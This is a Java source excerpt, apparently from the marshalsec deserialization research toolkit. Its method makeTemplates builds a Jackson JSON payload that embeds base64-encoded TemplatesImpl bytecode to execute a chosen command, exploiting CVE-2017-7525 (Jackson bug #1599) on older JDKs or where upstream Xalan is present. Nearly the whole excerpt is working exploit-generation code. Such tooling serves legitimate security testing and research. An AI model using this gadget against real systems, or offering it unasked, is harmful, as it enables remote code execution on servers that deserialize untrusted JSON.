@Override
    @Args ( minArgs = 1, args = {
        "cmd", "args..."
    }, defaultArgs = {
        MarshallerBase.defaultExecutable
    }, noTest = true ) // this should only work with < JDK 8u45 OR if upstream xalan is present (set upstreamXalan=true)
    // this is likely the original gadget reported for Jackson bug #1599
    // also described by https://adamcaudill.com/2017/10/04/exploiting-jackson-rce-cve-2017-7525/
    public Object makeTemplates ( UtilFactory uf, String... args ) throws Exception {
        Object tpl = TemplatesUtil.createTemplatesImpl(args);
        byte[][] bytecodes = (byte[][]) Reflections.getFieldValue(tpl, "_bytecodes");
        Map<String, String> values = new LinkedHashMap<>();
        String base64 = Base64.getEncoder().encodeToString(bytecodes[ 0 ]);
        values.put("transletBytecodes", writeArray(quoteString(base64)));
        values.put("transletName", quoteString("foo"));
        values.put("outputProperties", "{}");
        if ( Boolean.parseBoolean(System.getProperty("upstreamXalan", "false")) ) {
            return writeObject("org.apache.xalan.xsltc.trax.TemplatesImpl", values);
        }
        return writeObject("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl", values);
    }
{@inheritDoc}

@see marshalsec.MarshallerBase#unmarshal(java.lang.Object)
src/main/java/marshalsec/Jackson.java